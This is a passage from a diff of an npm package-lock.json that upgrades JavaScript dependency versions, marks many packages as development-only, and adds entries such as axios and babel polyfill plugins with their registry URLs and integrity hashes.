"sha512-ZpClVKqXN3RGBmKibdfWzqCY4lnjEuoNzU5T0oEFpfd/z5qJHVarukridD4juLO2FXMiwUQxr9WqQtaYa8XRYw==", + "dev": true, "requires": { "string-width": "^3.0.0" }, @@ -2459,17 +4768,20 @@ "ansi-regex": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==" + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", + "dev": true }, "is-fullwidth-code-point": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=" + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true }, "string-width": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, "requires": { "emoji-regex": "^7.0.1", "is-fullwidth-code-point": "^2.0.0", @@ -2480,6 +4792,7 @@ "version": "5.2.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, "requires": { "ansi-regex": "^4.1.0" } @@ -2518,7 +4831,8 @@ "ansi-regex": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=" + "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", + "dev": true }, "ansi-styles": { "version": "3.2.1", @@ -2531,12 +4845,14 @@ "ansicolors": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/ansicolors/-/ansicolors-0.3.2.tgz", - "integrity": "sha1-ZlWX3oap/+Oqm/vmyuXG6kJrSXk=" + "integrity": "sha1-ZlWX3oap/+Oqm/vmyuXG6kJrSXk=", + "dev": true }, "any-promise": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", - "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8=" + "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8=", + "dev": true }, "anymatch": { "version": "2.0.0", @@ -2568,7 +4884,8 @@ "archy": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz", - "integrity": "sha1-+cjBN1fMHde8N5rHeyxipcKGjEA=" + "integrity": "sha1-+cjBN1fMHde8N5rHeyxipcKGjEA=", + "dev": true }, "are-we-there-yet": { "version": "1.1.5", @@ -2584,6 +4901,7 @@ "version": "1.0.10", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, "requires": { "sprintf-js": "~1.0.2" } @@ -2619,20 +4937,109 @@ "dev": true }, "array-includes": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.1.tgz", - "integrity": "sha512-c2VXaCHl7zPsvpkFsw4nxvFie4fh1ur9bpcgsVkIjqn0H/Xwdg+7fv3n2r/isyS8EBj5b06M9kHyZuIr4El6WQ==", + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.3.tgz", + "integrity": "sha512-gcem1KlBU7c9rB+Rq8/3PPKsK2kjqeEBa3bD5kkQo4nYlOHQCJqIJFqBXDEfwaRuYTT4E+FxA9xez7Gf/e3Q7A==", "dev": true, "requires": { + "call-bind": "^1.0.2", "define-properties": "^1.1.3", - "es-abstract": "^1.17.0", + "es-abstract": "^1.18.0-next.2", + "get-intrinsic": "^1.1.1", "is-string": "^1.0.5" + }, + "dependencies": { + "es-abstract": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", + "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "is-callable": "^1.2.3", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.2", + "is-string": "^1.0.5", + "object-inspect": "^1.9.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.0" + } + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + }, + "is-callable": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", + "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", + "dev": true + }, + "is-regex": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", + "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-symbols": "^1.0.1" + } + }, + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + } } }, "array-union": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", - "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==" + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true }, "array-uniq": { "version": "1.0.3", @@ -2646,6 +5053,104 @@ "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", "dev": true }, + "array.prototype.flatmap": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.2.4.tgz", + "integrity": "sha512-r9Z0zYoxqHz60vvQbWEdXIEtCwHF0yxaWfno9qzXeNHvfyl3BZqygmGzb84dsubyaXLH4husF+NFgMSdpZhk2Q==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "es-abstract": "^1.18.0-next.1", + "function-bind": "^1.1.1" + }, + "dependencies": { + "es-abstract": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", + "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "is-callable": "^1.2.3", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.2", + "is-string": "^1.0.5", + "object-inspect": "^1.9.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.0" + } + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + }, + "is-callable": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", + "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", + "dev": true + }, + "is-regex": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", + "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-symbols": "^1.0.1" + } + }, + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "has-symbols": "^1.0.1", + "object-keys": "^1.1.1" + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + } + } + }, "arrify": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", @@ -2661,25 +5166,27 @@ "version": "0.2.4", "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", + "dev": true, "requires": { "safer-buffer": "~2.1.0" } }, "asn1.js": { - "version": "4.10.1", - "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.10.1.tgz", - "integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==", + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-5.4.1.tgz", + "integrity": "sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==", "dev": true, "requires": { "bn.js": "^4.0.0", "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0" + "minimalistic-assert": "^1.0.0", + "safer-buffer": "^2.1.0" }, "dependencies": { "bn.js": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", - "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", "dev": true } } @@ -2726,7 +5233,8 @@ "ast-types": { "version": "0.9.6", "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.9.6.tgz", - "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=" + "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=", + "dev": true }, "astral-regex": { "version": "1.0.0", @@ -2774,18 +5282,18 @@ "dev": true }, "autoprefixer": { - "version": "9.7.6", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.7.6.tgz", - "integrity": "sha512-F7cYpbN7uVVhACZTeeIeealwdGM6wMtfWARVLTy5xmKtgVdBNJvbDRoCK3YO1orcs7gv/KwYlb3iXwu9Ug9BkQ==", + "version": "9.8.6", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.8.6.tgz", + "integrity": "sha512-XrvP4VVHdRBCdX1S3WXVD8+RyG9qeb1D5Sn1DeLiG2xfSpzellk5k54xbUERJ3M5DggQxes39UGOTP8CFrEGbg==", "dev": true, "requires": { - "browserslist": "^4.11.1", - "caniuse-lite": "^1.0.30001039", - "chalk": "^2.4.2", + "browserslist": "^4.12.0", + "caniuse-lite": "^1.0.30001109", + "colorette": "^1.2.1", "normalize-range": "^0.1.2", "num2fraction": "^1.2.2", - "postcss": "^7.0.27", - "postcss-value-parser": "^4.0.3" + "postcss": "^7.0.32", + "postcss-value-parser": "^4.1.0" } }, "aws-sign2": { @@ -2800,6 +5308,15 @@ "integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug==", "dev": true }, + "axios": { + "version": "0.21.1", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.1.tgz", + "integrity": "sha512-dKQiRHxGD9PPRIUNIWvZhPTPpl1rf/OxTYKsqKUDjBwYylTvV7SjSHJb9ratfyzM6wCdLCOYLzs73qpg5c4iGA==", + "dev": true, + "requires": { + "follow-redirects": "^1.10.0" + } + }, "babel-eslint": { "version": "10.1.0", "resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-10.1.0.tgz", @@ -2815,22 +5332,30 @@ } }, "babel-loader": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.1.0.tgz", - "integrity": "sha512-7q7nC1tYOrqvUrN3LQK4GwSk/TQorZSOlO9C+RZDZpODgyN4ZlCqE5q9cDsyWOliN+aU9B4JX01xK9eJXowJLw==", + "version": "8.2.2", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.2.tgz", + "integrity": "sha512-JvTd0/D889PQBtUXJ2PXaKU/pjZDMtHA9V2ecm+eNRmmBCMR09a+fmpGTNwnJtFmFl5Ei7Vy47LjBb+L0wQ99g==", "dev": true, "requires": { - "find-cache-dir": "^2.1.0", + "find-cache-dir": "^3.3.1", "loader-utils": "^1.4.0", - "mkdirp": "^0.5.3", - "pify": "^4.0.1", + "make-dir": "^3.1.0", "schema-utils": "^2.6.5" }, "dependencies": { - "pify": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", - "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "requires": { + "semver": "^6.0.0" + } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", "dev": true } } @@ -2844,31 +5369,69 @@ "object.assign": "^4.1.0" } }, - "babel-plugin-emotion": { - "version": "10.0.33", - "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-10.0.33.tgz", - "integrity": "sha512-bxZbTTGz0AJQDHm8k6Rf3RQJ8tX2scsfsRyKVgAbiUPUNIRtlK+7JxP+TAd1kRLABFxe0CFm2VdK4ePkoA9FxQ==", + "babel-plugin-emotion": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-10.2.2.tgz", + "integrity": "sha512-SMSkGoqTbTyUTDeuVuPIWifPdUGkTk1Kf9BWRiXIOIcuyMfsdp2EjeiiFvOzX8NOBvEh/ypKYvUh2rkgAJMCLA==", + "requires": { + "@babel/helper-module-imports": "^7.0.0", + "@emotion/hash": "0.8.0", + "@emotion/memoize": "0.7.4", + "@emotion/serialize": "^0.11.16", + "babel-plugin-macros": "^2.0.0", + "babel-plugin-syntax-jsx": "^6.18.0", + "convert-source-map": "^1.5.0", + "escape-string-regexp": "^1.0.5", + "find-root": "^1.1.0", + "source-map": "^0.5.7" + } + }, + "babel-plugin-macros": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-2.8.0.tgz", + "integrity": "sha512-SEP5kJpfGYqYKpBrj5XU3ahw5p5GOHJ0U5ssOSQ/WBVdwkD2Dzlce95exQTs3jOVWPPKLBN2rlEWkCK7dSmLvg==", + "requires": { + "@babel/runtime": "^7.7.2", + "cosmiconfig": "^6.0.0", + "resolve": "^1.12.0" + } + }, + "babel-plugin-polyfill-corejs2": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.0.tgz", + "integrity": "sha512-9bNwiR0dS881c5SHnzCmmGlMkJLl0OUZvxrxHo9w/iNoRuqaPjqlvBf4HrovXtQs/au5yKkpcdgfT1cC5PAZwg==", + "dev": true, + "requires": { + "@babel/compat-data": "^7.13.11", + "@babel/helper-define-polyfill-provider": "^0.2.0", + "semver": "^6.1.1" + }, + "dependencies": { + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + } + } + }, + "babel-plugin-polyfill-corejs3": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.0.tgz", + "integrity": "sha512-zZyi7p3BCUyzNxLx8KV61zTINkkV65zVkDAFNZmrTCRVhjo1jAS+YLvDJ9Jgd/w2tsAviCwFHReYfxO3Iql8Yg==", + "dev": true, "requires": { - "@babel/helper-module-imports": "^7.0.0", - "@emotion/hash": "0.8.0", - "@emotion/memoize": "0.7.4", - "@emotion/serialize": "^0.11.16", - "babel-plugin-macros": "^2.0.0", - "babel-plugin-syntax-jsx": "^6.18.0", - "convert-source-map": "^1.5.0", - "escape-string-regexp": "^1.0.5", - "find-root": "^1.1.0", - "source-map": "^0.5.7" + "@babel/helper-define-polyfill-provider": "^0.2.0", + "core-js-compat": "^3.9.1" } }, - "babel-plugin-macros": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-2.8.0.tgz", - "integrity": "sha512-SEP5kJpfGYqYKpBrj5XU3ahw5p5GOHJ0U5ssOSQ/WBVdwkD2Dzlce95exQTs3jOVWPPKLBN2rlEWkCK7dSmLvg==", + "babel-plugin-polyfill-regenerator": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.0.tgz", + "integrity": "sha512-J7vKbCuD2Xi/eEHxquHN14bXAW9CXtecwuLrOIDJtcZzTaPzV1VdEfoUf9AzcRBMolKUQKM9/GVojeh0hFiqMg==", + "dev": true, "requires": { - "@babel/runtime": "^7.7.2", - "cosmiconfig": "^6.0.0", - "resolve": "^1.12.0" + "@babel/helper-define-polyfill-provider": "^0.2.0" } }, "babel-plugin-syntax-jsx": { @@ -2906,7 +5469,8 @@ "balanced-match": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", - "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" + "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", + "dev": true }, "base": { "version": "0.11.2", @@ -2983,6 +5547,7 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "dev": true, "requires": { "tweetnacl": "^0.14.3" } @@ -3008,6 +5573,12 @@ "file-uri-to-path": "1.0.0" } }, + "binjumper": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/binjumper/-/binjumper-0.1.4.tgz", + "integrity": "sha512-Gdxhj+U295tIM6cO4bJO1jsvSjBVHNpj2o/OwW7pqDEtaqF6KdOxjtbo93jMMKAkP7+u09+bV8DhSqjIv4qR3w==", + "dev": true + }, "biskviit": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/biskviit/-/biskviit-1.0.1.tgz", @@ -3017,9 +5588,10 @@ } }, "bl": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.3.tgz", - "integrity": "sha512-fs4G6/Hu4/EE+F75J8DuN/0IpQqNjAdC7aEQv7Qt8MHGUH7Ckv2MwTEEeN9QehD0pfIDkMI1bkHYkKy7xHyKIg==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dev": true, "requires": { "buffer": "^5.5.0", "inherits": "^2.0.4", @@ -3030,6 +5602,7 @@ "version": "3.6.0", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -3054,9 +5627,9 @@ "dev": true }, "bn.js": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.1.1.tgz", - "integrity": "sha512-IUTD/REb78Z2eodka1QZyyEk66pciRcP6Sroka0aI3tG/iwIdYLrBD62RsubR7vqdt3WyX8p4jxeatzmRSphtA==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.0.tgz", + "integrity": "sha512-D7iWRBvnZE8ecXiLj/9wbxH7Tk79fAh8IHaTNq1RWRixsS02W+5qS+iE9yq6RYl0asXx5tw0bLhmT5pIfbSquw==", "dev": true }, "body-parser": { @@ -3111,15 +5684,22 @@ "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", "dev": true }, + "boolean": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.0.3.tgz", + "integrity": "sha512-EqrTKXQX6Z3A2nRmMEIlAIfjQOgFnVO2nqZGpbcsPnYGWBwpFqzlrozU1dy+S2iqfYDLh26ef4KrgTxu9xQrxA==", + "dev": true + }, "bootstrap": { - "version": "4.5.2", - "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.2.tgz", - "integrity": "sha512-vlGn0bcySYl/iV+BGA544JkkZP5LB3jsmkeKLFQakCOwCM3AOk7VkldBz4jrzSe+Z0Ezn99NVXa1o45cQY4R6A==" + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.6.0.tgz", + "integrity": "sha512-Io55IuQY3kydzHtbGvQya3H+KorS/M9rSNyfCGCg9WZ4pyT/lCxIlpJgG1GXW/PswzC84Tr2fBYi+7+jFVQQBw==" }, "boxen": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/boxen/-/boxen-4.2.0.tgz", "integrity": "sha512-eB4uT9RGzg2odpER62bBwSLvUeGC+WbRjjyyFhGsKnc8wp/m0+hQsMUvUe3H2V0D5vw0nBdO1hCJoZo5mKeuIQ==", + "dev": true, "requires": { "ansi-align": "^3.0.0", "camelcase": "^5.3.1", @@ -3134,26 +5714,29 @@ "ansi-regex": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==" + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true }, "ansi-styles": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", - "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { - "@types/color-name": "^1.1.1", "color-convert": "^2.0.1" } }, "camelcase": { "version": "5.3.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==" + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true }, "chalk": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" @@ -3163,6 +5746,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": 